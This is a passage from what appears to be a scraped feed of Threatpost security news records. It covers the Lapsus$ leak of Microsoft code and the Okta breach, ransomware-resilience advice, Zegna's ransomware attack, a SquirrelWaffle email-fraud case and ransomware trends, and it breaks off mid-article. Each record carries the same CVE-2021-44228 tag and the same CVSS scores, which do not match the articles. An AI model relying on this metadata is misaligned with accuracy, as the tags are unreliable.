\u2014 \ud83e\udd77\ud83c\udffc\ud83d\udcbbTom Malka\ud83d\udcbb\ud83e\udd77\ud83c\udffc (@ZeroLogon) [March 20, 2022](<https://twitter.com/ZeroLogon/status/1505408208059383809?ref_src=twsrc%5Etfw>)\n\nThe threat actor has published more data since then: On Monday night, \u200b\u200bLapsus$ posted a torrent for a 9GB 7zip archive containing the source code of over 250 projects that the gang claimed came from Microsoft. Then, last night, it released 37GB of that Azure DevOps server-derived data, BleepingComputer [reported](<https://www.bleepingcomputer.com/news/microsoft/lapsus-hackers-leak-37gb-of-microsofts-alleged-source-code/>).\n\nSecurity researchers who have pored over the leaked files told BleepingComputer that they appear to be legitimate internal source code from Microsoft; that the leaked projects contain emails and internal engineering documentation for mobile apps; and that the projects look to be for web-based infrastructure, websites, or mobile apps. However, the projects don\u2019t contain source code for Microsoft desktop software such as Windows, Windows Server and Microsoft Office, according to the outlet\u2019s sources.\n\nSecurity Affairs shared a screenshot, shown below, of the uncompressed 7zip archive that contains the 37GB of source code belonging to hundreds of Microsoft projects.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2022/03/23104552/Microsoft-data-leak-2-e1648046776282.jpg>)\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2022/03/23104557/Microsoft-data-leak-e1648046807438.jpg>)\n\nSource: Security Affairs.\n\nSource code isn\u2019t Medusa. Just looking at it won\u2019t turn anybody into stone. The company \u201cdoes not rely on the secrecy of code as a security measure and viewing source code does not lead to elevation of risk,\u201d Microsoft\u2019s advisory said.\n\n## Lapsus$ TTPs\n\nMicrosoft tracks Lapsus$ as DEV-0537. Its advisory outlines the gang\u2019s tactics, techniques and procedures (TTPs) that it uses to compromise user identities so as to gain initial access to a targeted organization, including:\n\n * Deploying the malicious Redline [password stealer](<https://threatpost.com/various-malware-lurking-in-discord-app-to-target-gamers/163867/>) to obtain passwords and session tokens\n * Purchasing credentials and session tokens from criminal underground forums\n * Paying employees at targeted organizations (or suppliers/business partners) for access to credentials and MFA approval\n * Searching public code repositories for exposed credentials\n\nMicrosoft confirmed that Lapsus$ had used the TTPs in the gang\u2019s attack on Microsoft. \u201cOur team was already investigating the compromised account based on threat intelligence when the actor publicly disclosed their intrusion,\u201d according to its advisory. \u201cThis public disclosure escalated our action allowing our team to intervene and interrupt the actor mid-operation, limiting broader impact.\u201d\n\nWith regards to the third bullet point in that TTP list \u2013 paying rogue employees to help it crack a target\u2019s defenses \u2013 Lapsus$ hasn\u2019t been particularly subtle about its recruitment efforts. The gang [posted](<https://cybersecuritynews.com/beware-lapsus-ransomware-group/>) a notice on its Telegram channel on March 10, telling the world that it was up for recruiting company insiders, including those at Microsoft; other big software/gaming companies such as Apple, IBM or EA; telecoms such as Telefonica, ATT; and more, to help it carry out its dirty work.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2022/03/23105813/lapsus-recruitment-ad-e1648047507406.png>)\n\nThe Lapsus$ gang\u2019s recruitment ad for rogue employees. Source: Microsoft.\n\n## How to Stop Lapsus$\n\nMicrosoft\u2019s advisory offered a detailed list of recommendations for organizations to help them avoid going through what it, Okta and a growing list of Lapsus$ victims have suffered.\n\nBelow are some of the company\u2019s top-level suggestions. Its advisory drills down into each:\n\n * Strengthen MFA implementation\n * Require healthy and trusted endpoints\n * Leverage modern authentication options for VPNs\n * Strengthen and monitor your cloud security posture\n * Improve awareness of social engineering attacks\n * Establish operational security processes in response to DEV-0537 intrusions\n\n## Lapsus$ Got at Data for 2.5% of Okta Customers\n\nLapsus$ also breached authentication firm Okta, it claimed: a claim supported by what the actor purported were screenshots of Okta\u2019s Slack channels and the interface for Cloudflare, which is one of thousands of customers that use Okta\u2019s technology to provide authentication for its employees.\n\nIn an [update](<https://www.okta.com/blog/2022/03/updated-okta-statement-on-lapsus/>) published last night, Okta Chief Security Officer David Bradbury confirmed the hit and provided details on the skope, saying that about 2.5 percent of the company\u2019s customers were potentially affected by a January 2022 Lapsus$ intrusion. Hence, those companies\u2019 data \u201cmay have been viewed or acted upon,\u201d he said. As of Tuesday night, Okta had already contacted affected customers by email.\n\n**_Moving to the cloud? Discover emerging cloud-security threats along with solid advice for how to defend your assets with our _**[**_FREE downloadable eBook_**](<https://bit.ly/3Jy6Bfs>)**_, \u201cCloud Security: The Forecast for 2022.\u201d_** **_We explore organizations\u2019 top risks and challenges, best practices for defense, and advice for security success in such a dynamic computing environment, including handy checklists._**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-03-23T15:28:03", "type": "threatpost", "title": "Microsoft: Lapsus$ Used Employee Account to Steal Source Code", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228"], "modified": "2022-03-23T15:28:03", "id": "THREATPOST:47481707E9A4BF7FC15CC47EC8A8F249", "href": "https://threatpost.com/microsoft-lapsus-compromised-one-employees-account/179048/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-09T22:25:19", "description": "Be forewarned\u2014I\u2019m about to lay down some harsh truths here.\n\nFirst, ransomware is prevalent, and there is no way to completely eliminate the threat.\n\nSecond, at this point, you should operate under the assumption that hackers are already in your systems or could easily access them at any moment. It should come as no surprise when I tell you that the sophisticated cybercriminals behind today\u2019s ransomware threats have been consistently getting past even the best frontline security \u2014 and for a while now.\n\nThird, cybercriminals may know your systems and infrastructure better than you do. Once in, their strategy is to lay low and remain hidden while they learn as much as they can. Then they strike at the optimal time to inflict as much damage as possible to ensure a hefty payday.\n\nSo now what?\n\nThe good news is that there are practices and technologies that can help you detect threats before the bad actors can take action. There are also strategies that you can use to reduce your attack surface while preventing large-scale disruption and disablement once they are inside your environment.\n\nWith that in mind, this two-part series will outline the top six steps you should take right away to ensure resiliency in the face of this ever-present threat. Let\u2019s begin with the first three.\n\n## **Get Full Infrastructure Awareness**\n\nAttackers are looking for your weakest links, and the dark corners where there may be limited security and oversight in your environment. So, it\u2019s vital to implement tools that provide full infrastructure awareness by shining a light on all the dark data in your environment. According to the recently published Veritas Vulnerability Lag research ([PDF here](<https://www.veritas.com/content/dam/Veritas/docs/reports/GA_ENT_AR_Veritas-Vulnerability-Gap-Report-Global_V1414.pdf>)), 35 percent of data is still dark. That is alarmingly high. Get to work on knowing what data you have and where it is ASAP.\n\n**_Important reminder:_** In addition to full visibility of everything in your environment, it is also vital to have clear hard-copy documentation on the details of your environment, like procedures and configurations\u2014including IP addresses, passwords etc.\u2014to help aid with recovery. Missing these details can keep you and your team from being able to quickly recover in the chaos of an attack. Store these in a safe that is checked and updated regularly.\n\n## **Automate Alerts for Anomalous Behavior **\n\nImplement tools that can provide you with detection of anomalous behaviors or activities associated with both data and user activity across your entire environment. It\u2019s important that the detection capabilities can run autonomously, without the need for manual steps.\n\nAlerting your teams to anything anomalous or out of the ordinary will provide you with the upper hand, and a chance to act before the cybercriminals or a malicious code attack. This could be things like unusual file-write activity that could indicate an infiltration, but it could also be detecting known ransomware file extensions, file access patterns, traffic patterns, code downloads, access requests, storage capacity surges, external traffic paths or even an unusual jump in activity compared to individuals\u2019 typical patterns.\n\nFor example, in the infamous [SolarWinds hack](<https://threatpost.com/solarwinds-default-password-access-sales/162327/>), hackers used a regular software update to slip some elegant and innovative malicious code into a multitude of companies\u2019 networks, using the SolarWinds software.\n\nFor more than nine months they roamed around high-profile and sensitive companies, hiding in plain sight while learning their systems and gathering intelligence. Their mistake came when they started roaming around the cybersecurity company FireEye.\n\nThe security team at FireEye noticed suspicious activity \u2014 someone trying to register a second phone onto the company network. Finding it odd that an employee would have two phones, they jumped into action and called the user. Surprise! That user did not register that phone and had no idea who did. Thanks to the vigilance of FireEye, which investigated out-of-the-ordinary activity, the broader intrusions came to light.\n\n_**Important reminder:**_ Conduct cyber-threat hunts regularly. Take it seriously and implement protocols for investigating anomalous behaviors. Hire a third-party agency to audit your strategy, check your work and find vulnerabilities.\n\n## **Limit Access & Reduce Your Attack Surface**\n\nAfter sneaking into your environment, cybercriminals often search for confidential information or login credentials that will allow them to move laterally across your environment. This means that they can also gain access to your backup systems and will attempt to eliminate recovery options.\n\nThere are a few things that you can do to help mitigate this practice:\n\n 1. For starters, limit what and where each set of credentials can operate, and have different passwords for every domain.\n 2. Make sure that there is not one god-admin that can do everything.\n 3. It is also important to lock down or limit executives\u2019 access, as they are often easy targets.\n 4. Just as important, limit admin access and privileges, especially to backups.\n 5. Another common practice is to implement zero-trust approaches with multifactor authentication (MFA) and role-based access controls.\n 6. Also vital is to segment or microsegment your network into multiple zones of smaller networks and ensure access is managed and limited, especially to your most crucial data.\n 7. Many organizations are also moving towards a just-in-time security practice where access is granted on an as-needed basis or for a predetermined period of time, which is something to consider for crucial and business-critical data.\n\nBy building a variety of barriers, bad actors will be contained and prevented from moving around your environments. They are essentially stopped in their tracks. So, get creative\u2014meaning, set up a system unique to your needs and security requirements.\n\nWhen the Metropolitan Transportation Authority of New York was hacked last April, attackers did not gain any access to systems that control train cars nor was any customer information compromised. Why? Because they have a multilayered, segmented network of more than 18 different systems, only three of which were compromised. Thanks to this great system, the threat actors were prevented from moving throughout the system, the event was isolated and systems were restored quickly.\n\n_**Important reminder:**_ Create a walled-off network that looks exactly like your production network, but with different management credentials. Share nothing with your production networks except access to immutable storage. You can use this space to recover your data and services and scrub your data of malware. It is also a great place to test recovery.\n\nStay tuned for part two in this series, where I\u2019ll cover the remaining three of the top six steps you should take today to ensure ransomware resiliency in today\u2019s rapidly evolving cybersecurity landscape.\n\n**_Sonya Duffin is a ransomware and data protection expert at [Veritas Technologies](<https://www.veritas.com/>)._**\n\n_**Enjoy additional insights from Threatpost\u2019s Infosec Insiders community by visiting our [microsite](<https://threatpost.com/microsite/infosec-insiders-community/>).**_\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-02-09T21:06:38", "type": "threatpost", "title": "3 Tips for Facing the Harsh Truths of Cybersecurity in 2022, Part I", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228"], "modified": "2022-02-09T21:06:38", "id": "THREATPOST:0C3BAA4DB9E2B5E8A30DD20A987FCE03", "href": "https://threatpost.com/harsh-truths-cybersecurity-tips/178311/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-04-12T17:29:37", "description": "High-end Italian fashion house Ermenegildo Zegna revealed on Monday that it was the target of a ransomware attack last August \u2014 and that it managed to recover its systems from back-up without paying a ransom.\n\nThe Milan-based firm already [had revealed](<https://www.zegnagroup.com/en/news/27-important-security-update-from-the-ermenegildo-zegna-group/>) on Aug. 6, 2021, that it became aware of unauthorized access to its systems but did not disclose the specific type of breach.\n\nIn a [public filing](<https://docoh.com/filing/1877787/0001193125-22-100975/ZGN-424B3>) this week, however, the company acknowledged that it was a ransomware attack that \u201cimpacted the majority of our IT systems\u201d and ultimately led to some private accounting data stolen in the incident to be leaked online.\n\nIndeed, the [RansomExx ransomware](<https://threatpost.com/ransomexx-ransomware-gang-dumps-stolen-embraer-data-report/161918/>) operation claimed responsibility for the August attack and published leaked data stolen from the company online the day Zegna fist announced the incident, according to a [report published](<https://www.bleepingcomputer.com/news/security/luxury-fashion-house-zegna-confirms-august-ransomware-attack/>) by Bleeping Computer.\n\n\u201cAs we refused to engage in discussions relating to the payment of the ransom, the responsible parties published certain accounting materials extracted from our IT systems,\u201d Zegna wrote in the filing, an SEC Form 424B3. These forms are used to update a company\u2019s investment prospectus, in this case to inform them of risk related to cyber-incidents or data breaches.\n\nZegna gradually restored its IT systems \u2014 which include multiple server locations, third-party cloud providers and a range of software applications for different regions and functions \u2014 from secure back-up servers during the weeks following the breach, the company said.\n\n\u201cAlthough our systems are diversified\u2026we periodically assess and implement actions to ameliorate risks to our systems, a significant or large-scale malfuction or interruption of our systems could adversely affect our ability to manage and keep our operations running efficiently, and damage our reputation if we are unable to track transactions and deliver products to our customers,\u201d the company said in the filing.\n\n## **Resisting the Pressure to Pay**\n\nWhile many companies choose to pay a ransom during such an attack to unlock data or prevent it from being leaked online, security professionals generally recommend that they don\u2019t because it only encourages cybercriminals.\n\nHowever, many ransomware groups now regularly resort to a method called [double extortion](<https://threatpost.com/double-extortion-ransomware-attacks-spike/154818/>), in which they not only lock up victims\u2019 IT systems but also threaten to leak sensitive data online if the organization doesn\u2019t pay by a certain time, which [adds pressure](<https://threatpost.com/double-extortion-ransomware-data-leaks/176723/>) and often results in a quick payout.\n\n\u201cAs these things go, it\u2019s fantastic that Ermenegildo Zegna recovered without capitulating to the cybercriminal gang\u2019s ultimatums,\u201d observed Chris Clements, vice president of solutions architecture at security firm Cerberus Sentinel, in an email to Threatpost. \u201cNot paying cybercriminals extortion demands is one of the most effective ways to deter cyberattacks, but far too few companies that find themselves in similar situations to restore operations in a timely fashion.\u201d\n\nIndeed, even if they can restore via back-up systems, it\u2019s the hurry to get back online and fully operational that often makes organizations cave to demands. But with ransomware such a common occurrence in the threat landscape, there is no excuse for companies not to plan for a speedy in-house recovery in the event of an attack, he said.\n\n\u201cWe\u2019ve long since reached the point that organizations of any size and in any vertical must assume that they may potentially fall victim to a comparable cyberattack and implement a strategy not only for prevention, but also for restoring systems and data at company-wide scale should the worst happen,\u201d Clements said.\n\nThe attack on Zegna also reiterates the scenario that any organization, no matter how large or small, can be a target of ransomware attacks, he added. Though it\u2019s one of the top menswear brands in the world in terms of revenue, Zegna, for example, has about 6,500 employees globally\u2013making it a relatively small fish compared to some global multinationals.\n\n\u201cWith ransomware extortion payouts routinely venturing into millions of dollars, cybercriminals have a powerful incentive to compromise every organization they are able to,\u201d Clements said.\n\n_**Moving to the cloud? Discover emerging cloud-security threats along with solid advice for how to defend your assets with our **_[_**FREE downloadable eBook**_](<https://bit.ly/3Jy6Bfs>)_**, \u201cCloud Security: The Forecast for 2022.\u201d**_ _**We explore organizations\u2019 top risks and challenges, best practices for defense, and advice for security success in such a dynamic computing environment, including handy checklists.**_\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-04-12T17:22:38", "type": "threatpost", "title": "Menswear Brand Zegna Reveals Ransomware Attack", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228"], "modified": "2022-04-12T17:22:38", "id": "THREATPOST:97F7CB48069CDF8038E5E49508EFA458", "href": "https://threatpost.com/menswear-zegna-ransomware/179266/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T22:38:10", "description": "[SquirrelWaffle](<https://threatpost.com/squirrelwaffle-loader-malspams-packing-qakbot-cobalt-strike/175775/>) \u2013 the newish malware loader that[ first showed up](<https://threatpost.com/squirrelwaffle-loader-malspams-packing-qakbot-cobalt-strike/175775/>) in September \u2013 once again got its scrabbly little claws into an unpatched Microsoft Exchange server to spread malspam with its tried-and-true trick of [hijacking](<https://threatpost.com/ikea-email-reply-chain-attack/176625/>) email threads.\n\nThat\u2019s the same-old, same-old, as in, a SquirrelWaffle campaign will hijack an email thread to increase the chances that a victim will click on malicious links. Those rigged links are tucked into an email reply, similar to how the virulent[ Emotet](<https://threatpost.com/emotet-takedown-infrastructure-netwalker-offline/163389/>) malware \u2013 typically spread via malicious emails or text messages \u2013 has operated.\n\nBut this time, the operators added a twist: They sucked knowledge out of an email thread and used it to trick the target into a money transfer.\n\nThey almost pulled it off. The targeted organization initiated a money transfer to an attacker-controlled account, but thankfully, one of the financial institutions involved in the transaction smelled a rat and flagged the deal as fraudulent.\n\nIn a Tuesday [post](<https://news.sophos.com/en-us/2022/02/15/vulnerable-exchange-server-hit-by-squirrelwaffle-and-financial-fraud/>), Sophos analysts Matthew Everts and Stephen McNally said that typically, in SquirrelWaffle attacks \u2013 which typically entail the threat actors walking through holes left by unpatched, notorious,[ oft-picked-apart](<https://threatpost.com/microsoft-exchange-servers-proxylogon-patching/165001/>)[ ProxyLogon](<https://threatpost.com/deadringer-targeted-exchange-servers-before-discovery/168300/>) and[ ProxyShell](<https://threatpost.com/exchange-servers-attack-proxyshell/168661/>) Exchange server vulnerabilities \u2013 the attack ends when those holes finally get patched, removing the attacker\u2019s ability to send emails through the server.\n\nBut in this recent engagement, the Sophos Rapid Response team found that while a SquirrelWaffle malspam campaign was wreaking havoc on an unpatched server, that same vulnerable server was being used by the attackers to siphon off knowledge from a stolen email thread and to launch a financial fraud attack.\n\n\u201cThe combination of Squirrelwaffle, ProxyLogon, and ProxyShell has been encountered by the Sophos Rapid Response team multiple times in the last few months, but this is the first time we have seen attackers use typo-squatting to maintain the ability to send spam once the Exchange server has been remediated,\u201d the analysts wrote.\n\n## Too Late to Patch That Leaky Exchange Roof\n\nIn this case, patching Exchange wouldn\u2019t have clipped SquirrelWaffle\u2019s tail, the analysts said, given that the attackers had already spirited away an email thread about customer payments from the victim\u2019s Exchange server.\n\nBesides which, as the analysts noted and as Sophos [detailed](<https://news.sophos.com/en-us/2021/03/25/patching-alone-is-not-enough-investigate-your-exposure-windows/>) last March, patching isn\u2019t the end-all, be-all for remediating vulnerable Exchange servers. For one thing, you also need to determine whether attackers have pulled off any other mischief, such as installing webshells.\n\n## Typosquatting Their Way Into Inboxes\n\nThe double-up attack on the vulnerable Exchange server started with the attackers registering a [typosquat](<https://threatpost.com/malformed-url-prefix-phishing-attacks-spike-6000/164132/>) domain. In other words, they registered a domain name that resembled the victim\u2019s legitimate domain but with a small typo, then used email addresses from the look-alike domain to reply to the email thread.\n\n\u201cMoving the conversation out of the victim\u2019s email infrastructure gave the attackers operational control over what happened next,\u201d Everts and McNally explained.\n\nWhat happened next was that the attackers tried to divert the victim\u2019s customer\u2019s payments to accounts they controlled. In their hunt for legitimacy, they went so far as to copy more email addresses, to make it look like they were requesting support from an internal department. But these additional email addresses were just as bogus, being sent with the same almost, not-quite, look-alike typosquat domain.\n\nNext, they started using \u201cthis transaction\u2019s ready to go!\u201d language, as in the screen capture Sophos provided below.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2022/02/15163107/finance_dept_cc_ed.jpg>)\n\nSource: Sophos.\n\nNext came some foot-tappingly stern language to ratchet up the urgency, as shown in the next screen grab. \u201cI appreciate how busy you are,\u201d the crooks crooned, among other things that sounded like legitimate accounting blah-blah-blah, \u201cbut wondered if you could give me an update regarding the renewal?\u201d\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2022/02/15163737/More_accounting-ese.jpg>)\n\nSource: Sophos.\n\nThe attackers\u2019 fake accountant faux-relaxed after the SquirrelWaffle operators received an email indicating that the illegitimate payment was being processed, assuring their mark that they\u2019d get them an invoice ASAP.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2022/02/15164119/kind_regards.jpg>)\n\nSource: Sophos.\n\n## How to Cage This Twitchy Rodent\n\nSophos offered advice on how to protect against malicious email attacks such as the SquirrelWaffle campaign, the first of which is a head-desk-bang-bang clich\u00e9: Namely, patch those servers.\n\n\u201cThe single biggest step defenders can take to prevent the compromise and abuse of on premises Microsoft Exchange servers is to ensure that they have been patched with the most recent updates from Microsoft,\u201d according to the post.\n\nAlso:\n\n * Implement industry standards for email authentication, such as SPF (Sender Policy Framework), DKIM (DomainKeys Identified Mail), and DMARC (Domain Message Authentication Reporting and Conformance, in order to make it easier for other organizations to figure out if emails are legitimate. \u201cUsing these standards can make it harder for an attacker to send spoofed emails impersonating your domain,\u201d Sophos said.\n * Consider email security products that integrate artificial intelligence to help fend off increasingly sophisticated social engineering attacks, phishing lures and impersonation messages.\n * Protect the recipients of such emails and ensure that users in your organization can spot phishing attempts and know how to report and respond to them.\n\nSophos also provided tips on what to do if your organization has already been attacked. In fact, it\u2019s put together a [Squirrelwaffle Incident Guide](<https://news.sophos.com/en-us/2022/02/15/rapid-response-the-squirrelwaffle-incident-guide/>) to help victims investigate, analyze and respond.\n\n**_Join Threatpost on Wed. Feb 23 at 2 PM ET for a [LIVE roundtable discussion](<https://threatpost.com/webinars/protect-sensitive-cloud-data/?utm_source=Website&utm_medium=Article&utm_id=Keeper+Webinar>) \u201cThe Secret to Keeping Secrets,\u201d sponsored by Keeper Security, focused on how to locate and lock down your organization\u2019s most sensitive data. Zane Bond with Keeper Security will join Threatpost\u2019s Becky Bracken to offer concrete steps to protect your organization\u2019s critical information in the cloud, in transit and in storage. [REGISTER NOW](<https://threatpost.com/webinars/protect-sensitive-cloud-data/?utm_source=Website&utm_medium=Article&utm_id=Keeper+Webinar>) and please Tweet us your questions ahead of time @Threatpost so they can be included in the discussion._**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-02-15T22:31:33", "type": "threatpost", "title": "SquirrelWaffle Adds a Twist of Fraud to Exchange Server Malspamming", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228"], "modified": "2022-02-15T22:31:33", "id": "THREATPOST:68B92CE2FE5B31FB78327BDD0AB7F21C", "href": "https://threatpost.com/squirrelwaffle-fraud-exchange-server-malspamming/178434/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-10T00:00:00", "description": "Law enforcement, C-suite executives and the cybersecurity community at-large have been laser-focused on stopping the expensive and disruptive barrage of ransomware attacks \u2014 and it appears to be working, at least to some extent. Nonetheless, recent moves from the LockBit 2.0 and BlackCat gangs, plus this weekend\u2019s hit on the Swissport airport ground-logistics company, shows the scourge is far from over.\n\nIt\u2019s more expensive and riskier than ever to [launch ransomware attacks,](<https://www.coveware.com/blog/2022/2/2/law-enforcement-pressure-forces-ransomware-groups-to-refine-tactics-in-q4-2021>) and ransomware groups have responded by mounting fewer attacks with higher ransomware demands, Coveware has reported, finding that the average ransomware payment in the fourth quarter of last year climbed by 130 percent to reach $322,168. Likewise, Coveware found a 63 percent jump in the median ransom payment, up to $117,116.\n\n## **Fewer Attacks, Bigger Ransom Demands **\n\n\u201cAverage and median ransom payments increased dramatically during Q4, but we believe this change was driven by a subtle tactical shift by ransomware-as-a-service (RaaS) operations that reflected the increasing costs and risks previously described,\u201d Coveware analysts said. \u201cThe tactical shift involves a deliberate attempt to extort companies that are large enough to pay a \u2018big game\u2019 ransom amount but small enough to keep attack operating costs and resulting media and law enforcement attention low.\u201d\n\nThat means ransomware groups have started to focus on small-to-medium sized businesses to avoid law-enforcement attention and publicity like what came with the [Colonial Pipeline attack](<https://threatpost.com/takeaways-colonial-pipeline-ransomware/166980/>) last year, Coveware added.\n\n## **Groups Looking to Lower Their Profile**\n\n\u201cThe proportion of companies attacked in the 1,000- to 10,000-employee count size increased from 8 percent in Q3 to 14 percent in Q4,\u201d the researchers found. \u201cThe average ransom payment in just this employee bucket was well north of one million dollars, which dragged the Q4 average and median amounts higher.\u201d\n\nThe Coveware team said it expects this trend will likely continue, led by the most prolific ransomware-as-a-service operators out there: Conti, LockBit 2.0 and Hive. Following splashy law-enforcement takedowns, including the [Russia\u2019s roundup of REvil members](<https://threatpost.com/russian-security-revil-ransomware/177660/>), Coveware predicted that these groups will try and keep a low profile.\n\n\u201cWhile all RaaS operations need to recruit affiliates, we expect groups to become more reserved in their public messaging and more careful about what companies they target,\u201d Coveware researchers added. \u201cThe lessons learned from the pipeline attack and the recent FSB arrests are likely to keep some of the more vibrant displays of public bravado in check.\u201d\n\nBut a lower profile doesn\u2019t mean ransomware operators aren\u2019t still honing their skills.\n\n## **BlackCat\u2019s Rebrand, Triple-Extortion Threat **\n\nBlackCat, also known as ALPHV, an upstart [RaaS operation](<https://www.tripwire.com/state-of-security/security-data-protection/blackcat-ransomware-what-you-need-to-know/>), is on the rise and rapidly recruiting affiliates, according to Tripwire\u2019s Graham Cluley, who explained that the group has started adding pressure for their victims to pay by not only stealing their data and threatening to release it, but also promising a crippling distributed denial-of-service (DDoS) should they refuse to pay \u2014 a ransomware tactic known as \u201c[triple extortion](<https://threatpost.com/ransomwares-swindle-triple-extortion/166149/>).\u201d\n\nFirst discovered by the MalwareHunterTeam, the operators of the [Rust-coded BlackCat](<https://www.bleepingcomputer.com/news/security/blackcat-alphv-ransomware-linked-to-blackmatter-darkside-gangs/>) ransomware call themselves ALPHV, but the MalwareHunterTeam dubbed them BlackCat after the image used on the payment page the victims must visit on Tor to pay, Bleeping Computer reported. The report also confirmed that BlackCat is essentially a re-brand, adding the group members have confirmed they were [previous members of the BlackMatter/DarkSide group](<https://www.bleepingcomputer.com/news/security/blackcat-alphv-ransomware-linked-to-blackmatter-darkside-gangs/>).\n\nLockBit 2.0 is another group adding pressure on its victims to pay with threats to release a company\u2019s customer data \u2014 and it hasn\u2019t been laying so low, either.\n\n> [ALERT] LockBit ransomware gang has announced Cryptocurrency Exchange \"paybito\" on the victim list. [pic.twitter.com/TTq4pv1SRP](<https://t.co/TTq4pv1SRP>)\n> \n> \u2014 DarkTracer : DarkWeb Criminal Intelligence (@darktracer_int) [February 3, 2022](<https://twitter.com/darktracer_int/status/1489343888653361154?ref_src=twsrc%5Etfw>)\n\nLockBit 2.0 recently took credit for breaching cryptocurrency exchange platform playbito.com, threat hunter DarkTracer tweeted. The researcher also posted a warning from LockBit2.0 that the group will publish the personal data of more than 100,000 of the platform\u2019s users unless the ransom is paid by Feb. 21.\n\n\u201cCustomers from USA/WorldWide personal data, mail/hash, weak has algorithm,\u201d the message read. \u201cAdmins personal data, admin emails and hashes. If you want it buy it \u2014 contact us with TOX.\u201d\n\nThe following day, the FBI put out [indicators of compromise associated with LockBit 2.0](<https://www.ic3.gov/Media/News/2022/220204.pdf>) and asked anyone who thinks they might have been compromised by the group to contact the FBI Cyber Squad immediately.\n\n\u201cThe FBI is seeking any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with the threat actors, Bitcoin wallet information, the decryptor file, and/or a benign sample of an encrypted file,\u201d the FBI alert said, adding that the department does not encourage paying ransoms, but understands business decisions need to be made to keep operations going.\n\n## **Swissport Attack: Ransomware Still Going Strong**\n\nBut even as ransomware operators are feeling new pressure, successful attacks are still being pulled off regularly.\n\nOver the weekend, Swissport was taken down by a [ransomware 